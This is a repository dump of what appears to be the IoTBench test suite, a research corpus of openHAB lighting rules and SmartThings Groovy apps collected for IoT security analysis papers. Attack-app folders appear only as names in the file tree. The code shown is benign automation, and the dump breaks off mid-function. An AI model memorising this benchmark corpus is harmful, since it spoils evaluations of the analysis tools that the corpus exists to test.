├── openHAB ├── .DS_Store ├── README.md └── openhab-third-party-rules │ ├── .DS_Store │ ├── TV.rules │ ├── Quintal.rules │ ├── Estar.rules │ ├── Escada.rules │ ├── owntrack.rules │ ├── Escritorio.rules │ ├── HallEntrada.rules │ ├── MotionCameraIP.rules │ ├── Fachada.rules │ ├── test.rules │ ├── datetime.rules │ ├── astro.rules │ ├── fireDetection.rules.txt │ ├── calibration.rules │ ├── tempControl.rules.txt │ ├── manha.rules │ ├── SensorPresenca.rules │ └── cenario.rules ├── smartThings ├── smartThings-ProvThings │ ├── ProvThings-attacks │ │ ├── .DS_Store │ │ ├── InstallingAttack.groovy │ │ ├── PinCodeInjection.groovy │ │ ├── RemoteCommand2.groovy │ │ └── IPC-part2.groovy │ └── README.md ├── smartThings-SainT │ ├── smartThings-SainT-third-party │ │ └── .DS_Store │ ├── README.md │ └── smartThings-SainT-official │ │ ├── let-there-be-dark.groovy │ │ ├── brighten-my-path.groovy │ │ ├── lights-off-when-closed.groovy │ │ ├── darken-behind-me.groovy │ │ ├── big-turn-off.groovy │ │ ├── big-turn-on.groovy │ │ ├── feed-my-pet.groovy │ │ ├── garage-door-opener.groovy │ │ ├── monitor-on-sense.groovy │ │ ├── notify-me-when-it-opens.groovy │ │ └── turn-it-on-when-it-opens.groovy ├── smartThings-Soteria │ ├── smartthings-Soteria-MalIoT-apps │ │ ├── Group2 │ │ │ ├── .DS_Store │ │ │ └── ID16.1SleepingModeChange+.groovy │ │ ├── Group3 │ │ │ ├── .DS_Store │ │ │ ├── ID19homeModeTurnOnSwitches.groovy │ │ │ └── ID21SimulateOcupancy.groovy │ │ ├── Group4 │ │ │ ├── .DS_Store │ │ │ └── ID15CreateGeneralPropertyViolations+.groovy │ │ ├── ID1BrightenMyPath+.groovy │ │ ├── ID3TurnItOnOffandOnEvery30Secs+.groovy │ │ ├── ID4PowerAllowance+.groovy │ │ ├── ID13RunTimeLogicRequired+.groovy │ │ └── Group1 │ │ │ ├── ID12AlarmSoundsTurnOnLights+.groovy │ │ │ └── ID13SwitchOnSetHomeMode+.groovy │ ├── smartThings-Soteria-third-party │ │ ├── TP45.groovy │ │ ├── TP33.1.groovy │ │ ├── TP3.2.groovy │ │ ├── TP4.2.groovy │ │ ├── TP11.groovy │ │ └── TP47.groovy │ └── README.md ├── README.md └── smartThings-contexIoT │ ├── smartThings-contextIoT-official-and-third-party │ ├── FeedMyPet.txt.groovy │ ├── NobodyHome.txt.groovy │ ├── MySmartAppNest.txt.groovy │ ├── DarkenBehindMe.txt.groovy │ ├── LightsOffWhenClosed.txt.groovy │ ├── BrightenMyPath.txt.groovy │ ├── Lockdown.txt.groovy │ ├── Lockdoor.txt.groovy │ ├── Unlockdoor.txt.groovy │ ├── JesperTest.txt.groovy │ ├── helloworld.txt.groovy │ ├── NotifyMeWhenItOpens.txt.groovy │ ├── LockItWhenItCloses.txt.groovy │ ├── UnlockitWhenitOpens.txt.groovy │ ├── GarageDoor.txt.groovy │ ├── GarageDoorOpenClose.txt.groovy │ ├── TextMeWhenItOpens.txt.groovy │ ├── DelayedCommandExecution.txt.groovy │ ├── TurnItOnWhenImHere.txt.groovy │ ├── TextMeWhenTheresMotion.txt.groovy │ ├── ManageTV.txt.groovy │ ├── TexttoVoiceSonos.txt.groovy │ ├── LEDSignController.txt.groovy │ ├── LaLaManorAutomation.txt.groovy │ ├── MultiSwitch.txt.groovy │ ├── TurnItOnFor5Minutes.txt.groovy │ ├── MotionTriggersLock.txt.groovy │ ├── VirtualGaragetriggersoutlet.txt.groovy │ ├── SchlageLockRefresh.txt.groovy │ ├── HabitHelper.txt.groovy │ ├── PushMeWhenTheresMotion.txt.groovy │ ├── MySmartAppSensorToLightBulb.txt.groovy │ ├── SleepingModeChange.txt.groovy │ ├── LightUpTheNight.txt.groovy │ ├── PresenceChangePush.txt.groovy │ ├── DoorLockJammed.txt.groovy │ ├── DennisGarage.txt.groovy │ ├── PresenceTest.txt.groovy │ ├── BrightenDarkPlaces.txt.groovy │ ├── ScheduledModeChange.txt.groovy │ ├── PowerAllowanceSeconds.txt.groovy │ ├── TurnBackON.txt.groovy │ ├── PresenceChangeText.txt.groovy │ ├── KeepDoorLocked.txt.groovy │ ├── Offafter.txt.groovy │ ├── Turnonorofftogether.txt.groovy │ ├── NotifyWhenLeftOpen.txt.groovy │ ├── LightMeUpbasedonLightsensorwithLuxsetting.txt.groovy │ ├── Myapp.txt.groovy │ ├── Findmykeys.txt.groovy │ ├── MailArrivedPushNotification.txt.groovy │ ├── MySecondApp.txt.groovy │ ├── TurnItOnWhenItOpens.txt.groovy │ ├── TurnonwhenOpenOnlyatNight.txt.groovy │ ├── OnwhenClosed.txt.groovy │ ├── FloodAlert.txt.groovy │ ├── NightLamp.txt.groovy │ ├── CustomKwiksetCodeChange.txt.groovy │ ├── LetThereBeLight.txt.groovy │ ├── ToggleButton.txt.groovy │ ├── Buttontoturnlightsonoroff.txt.groovy │ ├── TheGunCaseMoved.txt.groovy │ ├── TemperatureChangeSpecified.txt.groovy │ ├── ModeChangeUpdateNestStatus.txt.groovy │ ├── ItMoved.txt.groovy │ ├── Turnmeonquick.txt.groovy │ ├── IRReceiver.txt.groovy │ ├── SwitchTimer.txt.groovy │ ├── NoWaterAlarm.txt.groovy │ ├── LightupwhenImgone.txt.groovy │ ├── SetthemoodLighting.txt.groovy │ ├── LightLevelScheduler.txt.groovy │ ├── MedicineReminder.txt.groovy │ ├── OnceADayLightswDimmer.txt.groovy │ ├── OpenClosedMonitor.txt.groovy │ ├── SecuremyFoscam.txt.groovy │ ├── MyofficeisofflimitswhenIamgone.txt.groovy │ ├── PowerOnWhenMotion.txt.groovy │ ├── SmartApp1.txt.groovy │ ├── SmartDenLight.txt.groovy │ ├── LightFollowsMe.txt.groovy │ ├── TextMeWhenImNotHere.txt.groovy │ ├── TestAutoonthenquickoff.txt.groovy │ ├── NestAutoPresence.txt.groovy │ ├── PortableSwitchturnsonotherdevice.txt.groovy │ ├── MotionSensorLight.txt.groovy │ ├── SmartEntranceNightlightII.txt.groovy │ ├── ChangeLockCodes.txt.groovy │ ├── ThermostatAutoHome.txt.groovy │ ├── LetThereBeDark.txt.groovy │ ├── StrobeWhenIamHomeandSomeoneArrives.txt.groovy │ ├── Turnsomethingoffwhenacontactopens.txt.groovy │ ├── BathroomMotion.txt.groovy │ ├── MultiDimmer.txt.groovy │ ├── DoorAutoLock.txt.groovy │ ├── GarageDoorMIMOlite.txt.groovy │ ├── TimeDependentDoors.txt.groovy │ ├── ControlSwitchBasedUponPlayStatus.txt.groovy │ ├── DoorsUnlocked.txt.groovy │ ├── BigTurnOFF.txt.groovy │ ├── BigTurnON.txt.groovy │ ├── OpenGarage.txt.groovy │ ├── WalkGentleIntoThatGoodNight.txt.groovy │ ├── LightTurnonClosed.txt.groovy │ ├── avisamecuandosemueva.txt.groovy │ ├── ImprovedPowerAllowance.txt.groovy │ ├── GarageDoorOpener.txt.groovy │ ├── ChangeLockCode.txt.groovy │ ├── OpeningDoorTogglesSwitch.txt.groovy │ └── SomethingMovedUpstairs.txt.groovy │ └── README.md └── .gitignore /openHAB/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IoTBench/IoTBench-test-suite/HEAD/openHAB/.DS_Store -------------------------------------------------------------------------------- /openHAB/README.md: -------------------------------------------------------------------------------- 1 | A set of OpenHAB rules obtained by crawling the public GitHub pages. More rules will be added soon. 2 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IoTBench/IoTBench-test-suite/HEAD/openHAB/openhab-third-party-rules/.DS_Store -------------------------------------------------------------------------------- /smartThings/smartThings-ProvThings/ProvThings-attacks/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IoTBench/IoTBench-test-suite/HEAD/smartThings/smartThings-ProvThings/ProvThings-attacks/.DS_Store -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/smartThings-SainT-third-party/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IoTBench/IoTBench-test-suite/HEAD/smartThings/smartThings-SainT/smartThings-SainT-third-party/.DS_Store -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/Group2/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IoTBench/IoTBench-test-suite/HEAD/smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/Group2/.DS_Store -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/Group3/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IoTBench/IoTBench-test-suite/HEAD/smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/Group3/.DS_Store -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/Group4/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IoTBench/IoTBench-test-suite/HEAD/smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/Group4/.DS_Store -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | smartThings/.DS_Store 3 | smartThings/smartThings-contexIoT/.DS_Store 4 | smartThings/smartThings-contexIoT/.DS_Store 5 | smartThings/smartThings-SainT/.DS_Store 6 | smartThings/smartThings-contexIoT/smartThings-contexIoT-malicious-apps/.DS_Store 7 | openHAB/.DS_Store 8 | smartThings/smartThings-contexIoT/.DS_Store 9 | smartThings/smartThings-SainT/.DS_Store 10 | openHAB/.DS_Store 11 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/TV.rules: -------------------------------------------------------------------------------- 1 | /******************************************************************** Spot da sala de TV **************************************************************************/ 2 | 3 | rule "Spot da sala de TV mudou" 4 | when 5 | Item Luz_gTER_SalaTV_SpotTV changed 6 | then 7 | Luz_gTER_SalaTV_SpotJanelaTV.sendCommand(Luz_gTER_SalaTV_SpotTV.state.toString.toString) 8 | end 9 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/Quintal.rules: -------------------------------------------------------------------------------- 1 | /******************************************************************** Spot da sala de TV **************************************************************************/ 2 | 3 | rule "Luz do muro da piscina mudou" 4 | when 5 | Item Luz_gTER_Quintal_MuroPiscina changed 6 | then 7 | Luz_gTER_Quintal_MuroBanheiro.sendCommand(Luz_gTER_Quintal_MuroPiscina.state.toString) 8 | end 9 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/Estar.rules: -------------------------------------------------------------------------------- 1 | /******************************************************************** Spot da sala de estar **************************************************************************/ 2 | 3 | rule "Spot da sala de estar mudou" 4 | when 5 | Item Luz_gTER_SalaEstar_SpotEscada changed 6 | then 7 | Luz_gTER_SalaEstar_SpotArandela.sendCommand(Luz_gTER_SalaEstar_SpotEscada.state.toString) 8 | end 9 | -------------------------------------------------------------------------------- /smartThings/smartThings-ProvThings/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # ProvThings SmartThings IoT apps 4 | 5 | **smartThings-ProvThings** folder contains various attacks as presented in Table 4 in the paper. 6 | 7 | ## Citing this work 8 | 9 | ``` 10 | @inproceedings{wang2018fear, 11 | title={Fear and Logging in the Internet of Things}, 12 | author={Wang, Qi and Hassan, Wajih Ul and Bates, Adam and Gunter, Carl}, 13 | booktitle={Network and Distributed System Security Symposium (NDSS)}, 14 | year={2018} 15 | } 16 | ``` 17 | 18 | -------------------------------------------------------------------------------- /smartThings/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # SmartThings IoT apps 4 | 5 | This folder contains apps used in the following papers: 6 | - Celik, Z. Berkay, et al. "Soteria: Automated IoT Safety and Security Analysis", USENIX Annual Technical Conference (USENIX ATC), 2018. 7 | - Celik, Z. Berkay, et al. "Sensitive Information Tracking in Commodity IoT", USENIX Security, 2018 8 | - Jia, Yunhan Jack, et al. "ContexIoT: Towards Providing Contextual Integrity to Appified IoT Platforms", Network and Distributed System Security Symposium (NDSS), 2017. 9 | 10 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/Escada.rules: -------------------------------------------------------------------------------- 1 | /******************************************************************** Luz da Escada **************************************************************************/ 2 | 3 | rule "Luz da escada superior mudou" 4 | when 5 | Item Luz_gSUP_Escada changed 6 | then 7 | Luz_gTER_SalaEstar_Escada.sendCommand(Luz_gSUP_Escada.state.toString) 8 | end 9 | 10 | rule "Luz da escada inferior mudou" when Item Luz_gTER_SalaEstar_Escada changed 11 | then 12 | Luz_gSUP_Escada.sendCommand(Luz_gTER_SalaEstar_Escada.state.toString) 13 | end 14 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/owntrack.rules: -------------------------------------------------------------------------------- 1 | 2 | /******************************************************************** Mathues saindo e chegando em casa **************************************************************************/ 3 | /* 4 | rule "Matheus chegando em casa" 5 | when 6 | Item EmCasa_Matheus2 changed to ON 7 | then 8 | sendNotification("botura@gmail.com", "Chegando em casa") 9 | end 10 | 11 | 12 | rule "Matheus saindo de casa" 13 | when 14 | Item EmCasa_Matheus2 changed to OFF 15 | then 16 | sendNotification("botura@gmail.com", "Saindo de casa") 17 | end 18 | */ 19 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/Escritorio.rules: -------------------------------------------------------------------------------- 1 | /******************************************************************** Luz da Escada **************************************************************************/ 2 | 3 | rule "Luz da Sala TV 1 superior mudou" 4 | when 5 | Item Luz_gSUP_Casal_Escritorio1 changed 6 | then 7 | Luz_gSUP_Casal_Escritorio2.sendCommand(Luz_gSUP_Casal_Escritorio1.state.toString) 8 | end 9 | 10 | 11 | rule "Luz da Sala TV 2 superior mudou" when Item Luz_gSUP_Casal_Escritorio2 changed 12 | then 13 | Luz_gSUP_Casal_Escritorio1.sendCommand(Luz_gSUP_Casal_Escritorio2.state.toString) 14 | end 15 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/HallEntrada.rules: -------------------------------------------------------------------------------- 1 | /******************************************************************** Luz do Hall da Sala de Estar **************************************************************************/ 2 | 3 | rule "Luz do hall da sala de estar mudou" 4 | when 5 | Item Luz_gTER_SalaEstar_Hall changed 6 | then 7 | Luz_gTER_Brinquedo_Hall.sendCommand(Luz_gTER_SalaEstar_Hall.state.toString) 8 | end 9 | 10 | 11 | rule "Luz do hall do quarto de brinquedo mudou" 12 | when 13 | Item Luz_gTER_Brinquedo_Hall changed 14 | then 15 | Luz_gTER_SalaEstar_Hall.sendCommand(Luz_gTER_Brinquedo_Hall.state.toString) 16 | end 17 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/FeedMyPet.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Feed My Pet 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("Choose your pet feeder...") { 8 | input "feeder", "device.PetFeederShield", title: "Where?" 9 | } 10 | section("Feed my pet at...") { 11 | input "time1", "time", title: "When?" 12 | } 13 | } 14 | 15 | def installed() 16 | { 17 | schedule(time1, "scheduleCheck") 18 | } 19 | 20 | def updated() 21 | { 22 | unschedule() 23 | schedule(time1, "scheduleCheck") 24 | } 25 | 26 | def scheduleCheck() 27 | { 28 | log.trace "scheduledFeeding" 29 | feeder?.feed() 30 | } 31 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/NobodyHome.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Nobody Home 3 | * 4 | * Author: brian@bevey.org 5 | * Date: 2013-12-02 6 | */ 7 | preferences { 8 | section("Title") { 9 | // TODO: put inputs here 10 | } 11 | } 12 | 13 | def installed() { 14 | log.debug "Installed with settings: ${settings}" 15 | 16 | initialize() 17 | } 18 | 19 | def updated() { 20 | log.debug "Updated with settings: ${settings}" 21 | 22 | unsubscribe() 23 | initialize() 24 | } 25 | 26 | def initialize() { 27 | // TODO: subscribe to attributes, devices, locations, etc. 28 | } 29 | 30 | // TODO: implement event handlers -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/MotionCameraIP.rules: -------------------------------------------------------------------------------- 1 | 2 | 3 | /******************************************************************** Desligar detecção de movimento da Camera1 após XX segundos **************************************************************************/ 4 | var Timer tmrOff_Camera1 = null 5 | 6 | rule "Mottion Off Camera 1" 7 | when 8 | Item gCamera_Camera1 changed from OFF to ON 9 | then 10 | if(tmrOff_Camera1 == null || tmrOff_Camera1.hasTerminated) 11 | { 12 | tmrOff_Camera1 = createTimer(now.plusSeconds(30), [| 13 | tmrOff_Camera1 = null 14 | gCamera_Camera1.sendCommand(OFF) 15 | ]) 16 | } 17 | 18 | end 19 | 20 | 21 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/MySmartAppNest.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * MySmartAppNest 3 | * 4 | * Author: shajij@gmail.com 5 | * Date: 2014-02-06 6 | */ 7 | preferences { 8 | section("Title") { 9 | // TODO: put inputs here 10 | } 11 | } 12 | 13 | def installed() { 14 | log.debug "Installed with settings: ${settings}" 15 | 16 | initialize() 17 | } 18 | 19 | def updated() { 20 | log.debug "Updated with settings: ${settings}" 21 | 22 | unsubscribe() 23 | initialize() 24 | } 25 | 26 | def initialize() { 27 | // TODO: subscribe to attributes, devices, locations, etc. 28 | } 29 | 30 | // TODO: implement event handlers -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/DarkenBehindMe.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Darken Behind Me 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When there's no movement...") { 8 | input "motion1", "capability.motionSensor", title: "Where?" 9 | } 10 | section("Turn off a light...") { 11 | input "switch1", "capability.switch" 12 | } 13 | } 14 | 15 | def installed() 16 | { 17 | subscribe(motion1, "motion.inactive", motionInactiveHandler) 18 | } 19 | 20 | def updated() 21 | { 22 | unsubscribe() 23 | subscribe(motion1, "motion.inactive", motionInactiveHandler) 24 | } 25 | 26 | def motionInactiveHandler(evt) { 27 | switch1.off() 28 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/LightsOffWhenClosed.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Lights Off, When Closed 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section ("When the door closes...") { 8 | input "contact1", "capability.contactSensor", title: "Where?" 9 | } 10 | section ("Turn off a light...") { 11 | input "switch1", "capability.switch" 12 | } 13 | } 14 | 15 | def installed() 16 | { 17 | subscribe(contact1, "contact.closed", contactClosedHandler) 18 | } 19 | 20 | def updated() 21 | { 22 | unsubscribe() 23 | subscribe(contact1, "contact.closed", contactClosedHandler) 24 | } 25 | 26 | def contactClosedHandler(evt) { 27 | switch1.off() 28 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/BrightenMyPath.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Brighten My Path 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When there's movement...") { 8 | input "motion1", "capability.motionSensor", title: "Where?", multiple: true 9 | } 10 | section("Turn on a light...") { 11 | input "switch1", "capability.switch", multiple: true 12 | } 13 | } 14 | 15 | def installed() 16 | { 17 | subscribe(motion1, "motion.active", motionActiveHandler) 18 | } 19 | 20 | def updated() 21 | { 22 | unsubscribe() 23 | subscribe(motion1, "motion.active", motionActiveHandler) 24 | } 25 | 26 | def motionActiveHandler(evt) { 27 | switch1.on() 28 | } 29 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/Lockdown.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Lockdown 3 | * 4 | * Author: P2Digital 5 | */ 6 | preferences { 7 | section("When I touch the app, lock all the doors...") { 8 | input "locks", "capability.lock", multiple: true 9 | } 10 | } 11 | 12 | def installed() 13 | { 14 | subscribe(location) 15 | subscribe(app) 16 | } 17 | 18 | def updated() 19 | { 20 | unsubscribe() 21 | subscribe(location) 22 | subscribe(app) 23 | } 24 | 25 | def changedLocationMode(evt) { 26 | log.debug "changedLocationMode: $evt" 27 | locks.lock()//switches?.off() 28 | } 29 | 30 | def appTouch(evt) { 31 | log.debug "appTouch: $evt" 32 | locks.lock() 33 | } 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/Lockdoor.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Lock door 3 | * 4 | * Author: Aaron 5 | */ 6 | 7 | preferences { 8 | section("When I touch the app, lock door...") { 9 | input "locks", "capability.lock", multiple: true 10 | } 11 | } 12 | 13 | def installed() 14 | { 15 | subscribe(location, changedLocationMode) 16 | subscribe(app, appTouch) 17 | } 18 | 19 | def updated() 20 | { 21 | unsubscribe() 22 | subscribe(location, changedLocationMode) 23 | subscribe(app, appTouch) 24 | } 25 | 26 | def changedLocationMode(evt) { 27 | log.debug "changedLocationMode: $evt" 28 | locks?.lock() 29 | } 30 | 31 | def appTouch(evt) { 32 | log.debug "appTouch: $evt" 33 | locks?.lock() 34 | } 35 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/Unlockdoor.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Unlock door 3 | * 4 | * Author: Aaron 5 | */ 6 | 7 | preferences { 8 | section("When I touch the app, unlock door...") { 9 | input "locks", "capability.lock", multiple: true 10 | } 11 | } 12 | 13 | def installed() 14 | { 15 | subscribe(location, changedLocationMode) 16 | subscribe(app, appTouch) 17 | } 18 | 19 | def updated() 20 | { 21 | unsubscribe() 22 | subscribe(location, changedLocationMode) 23 | subscribe(app, appTouch) 24 | } 25 | 26 | def changedLocationMode(evt) { 27 | log.debug "changedLocationMode: $evt" 28 | locks?.unlock() 29 | } 30 | 31 | def appTouch(evt) { 32 | log.debug "appTouch: $evt" 33 | locks?.unlock() 34 | } 35 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/JesperTest.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Big Turn ON 3 | * 4 | * Author: SmartThings 5 | */ 6 | 7 | preferences { 8 | section("When I touch the app, turn on...") { 9 | input "switches", "capability.switch", multiple: true 10 | } 11 | } 12 | 13 | def installed() 14 | { 15 | subscribe(location, changedLocationMode) 16 | subscribe(app, appTouch) 17 | } 18 | 19 | def updated() 20 | { 21 | unsubscribe() 22 | subscribe(location, changedLocationMode) 23 | subscribe(app, appTouch) 24 | } 25 | 26 | def changedLocationMode(evt) { 27 | log.debug "changedLocationMode: $evt" 28 | switches?.on() 29 | } 30 | 31 | def appTouch(evt) { 32 | log.debug "appTouch: $evt" 33 | switches?.on() 34 | } 35 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/helloworld.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Nicolas 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section(" Nick When I touch the app, turn off...") { 8 | input "switches", "capability.switch", multiple: true 9 | } 10 | } 11 | 12 | def installed() 13 | { 14 | subscribe(location, changedLocationMode) 15 | subscribe(app, appTouch) 16 | } 17 | 18 | def updated() 19 | { 20 | unsubscribe() 21 | subscribe(location, changedLocationMode) 22 | subscribe(app, appTouch) 23 | } 24 | 25 | def changedLocationMode(evt) { 26 | log.debug "changedLocationMode: $evt" 27 | switches?.off() 28 | } 29 | 30 | def appTouch(evt) { 31 | log.debug "appTouch: $evt" 32 | switches?.off() 33 | } 34 | -------------------------------------------------------------------------------- /openHAB/openhab-third-party-rules/Fachada.rules: -------------------------------------------------------------------------------- 1 | /******************************************************************** Luz sa fachada **************************************************************************/ 2 | 3 | rule "Luz da fachada mudou" 4 | when 5 | Item Luz_gTER_Frente_ArandelaGaragem changed 6 | then 7 | Luz_gTER_Frente_MuroServico.sendCommand(Luz_gTER_Frente_ArandelaGaragem.state.toString) 8 | Luz_gTER_Frente_BayWindowInf.sendCommand(Luz_gTER_Frente_ArandelaGaragem.state.toString) 9 | Luz_gTER_Frente_BayWindowSup.sendCommand(Luz_gTER_Frente_ArandelaGaragem.state.toString) 10 | Luz_gTER_Frente_Beiral.sendCommand(Luz_gTER_Frente_ArandelaGaragem.state.toString) 11 | Luz_gTER_Frente_MuroGaragem.sendCommand(Luz_gTER_Frente_ArandelaGaragem.state.toString) 12 | end 13 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/NotifyMeWhenItOpens.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Notify Me When It Opens 3 | * 4 | * Author: SmartThings 5 | */ 6 | preferences { 7 | section("When the door opens..."){ 8 | input "contact1", "capability.contactSensor", title: "Where?" 9 | } 10 | } 11 | 12 | def installed() 13 | { 14 | subscribe(contact1, "contact.open", contactOpenHandler) 15 | } 16 | 17 | def updated() 18 | { 19 | unsubscribe() 20 | subscribe(contact1, "contact.open", contactOpenHandler) 21 | } 22 | 23 | def contactOpenHandler(evt) { 24 | log.trace "$evt.value: $evt, $settings" 25 | 26 | log.debug "$contact1 was opened, sending push message to user" 27 | sendPush("Your ${contact1.label ?: contact1.name} was opened") 28 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # ContexIoT SmartThings IoT apps 4 | 5 | **smartThings-contexIoT** folder contains SmartThings official and third-party apps obtained **early 2016**. These apps are evaluated in ContexIoT paper (see below). Furthermore, it includes malicious apps migrated from mobile phone research. 6 | 7 | ## Citing this work 8 | 9 | ``` 10 | @inproceedings{jia2017contexiot, 11 | title={ContexIoT: Towards Providing Contextual Integrity to Appified IoT Platforms}, 12 | author={Jia, Yunhan Jack and Chen, Qi Alfred and Wang, Shiqi and Rahmati, Amir and Fernandes, 13 | Earlence and Mao, Z Morley and Prakash, Atul and Unviersity, Shanghai JiaoTong}, 14 | booktitle={Network and Distributed System Security Symposium (NDSS)}, 15 | year={2017} 16 | } 17 | ``` 18 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/LockItWhenItCloses.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Lock It When It Closes 3 | * 4 | * Author: Jeremy R. Whittaker 5 | */ 6 | preferences { 7 | section("When the door closes..."){ 8 | input "contact1", "capability.contactSensor", title: "Where?" 9 | } 10 | section("Lock the lock...") { 11 | input "lock1","capability.lock", multiple: true 12 | } 13 | } 14 | 15 | def installed() { 16 | subscribe(contact1, "contact", contactHandler) 17 | } 18 | 19 | def updated() { 20 | unsubscribe() 21 | subscribe(contact1, "contact", contactHandler) 22 | } 23 | 24 | def contactHandler(evt) { 25 | log.debug "$evt.value" 26 | if (evt.value == "closed") { 27 | lock1.lock() 28 | log.debug "door locked" 29 | } 30 | } 31 | 32 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/UnlockitWhenitOpens.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Unlock It When It Opens 3 | * 4 | * Author: Jeremy R. Whittaker 5 | */ 6 | preferences { 7 | section("When the door opens..."){ 8 | input "contact1", "capability.contactSensor", title: "Where?" 9 | } 10 | section("Unlock the lock...") { 11 | input "lock1","capability.lock", multiple: true 12 | } 13 | } 14 | 15 | 16 | def installed() { 17 | subscribe(contact1, "contact", contactHandler) 18 | } 19 | 20 | def updated() { 21 | unsubscribe() 22 | subscribe(contact1, "contact", contactHandler) 23 | } 24 | 25 | def contactHandler(evt) { 26 | log.debug "$evt.value" 27 | if (evt.value == "open") { 28 | lock1.unlock() 29 | log.debug "Lock ${lock1} was: ${evt.value}" 30 | } 31 | } -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # SainT SmartThings IoT apps 4 | 5 | **smartThings-SainT** folder contains SmartThings official and third-party apps obtained **late 2017**. Additionally, it includes benchmark apps for static and dynamic taint analysis tools. 6 | 7 | ## Citing this work 8 | 9 | ``` 10 | @InProceedings{SaintIoTtaintAnalysisUsenixSec, 11 | Title = {Sensitive Information Tracking in Commodity IoT}, 12 | Author = {Z. Berkay Celik and Leonardo Babun and Amit K. Sikder and Hidayet Aksu and Gang Tan and Patrick McDaniel and A. Selcuk Uluagac}, 13 | Booktitle = {USENIX Security}, 14 | Year = {2018}, 15 | howpublished = "\url{https://arxiv.org/abs/1802.08307}" 16 | Timestamp = {2018.04.19} 17 | } 18 | ``` 19 | 20 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/GarageDoor.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Notify Me When 3 | * 4 | * Author: SmartThings 5 | * Date: 2013-03-20 6 | */ 7 | preferences { 8 | section("Choose one or more, when..."){ 9 | 10 | input "Switch1", "capability.switch", title: "Switch Turned On", required: true 11 | 12 | } 13 | 14 | 15 | } 16 | 17 | def installed() { 18 | log.debug "Installed with settings: ${settings}" 19 | subscribeToEvents() 20 | } 21 | 22 | def updated() { 23 | log.debug "Updated with settings: ${settings}" 24 | unsubscribe() 25 | subscribeToEvents() 26 | } 27 | 28 | def subscribeToEvents() { 29 | subscribe(Switch1, "switch.on", nowturnoff) 30 | 31 | } 32 | 33 | def nowturnoff(evt) { 34 | log.debug 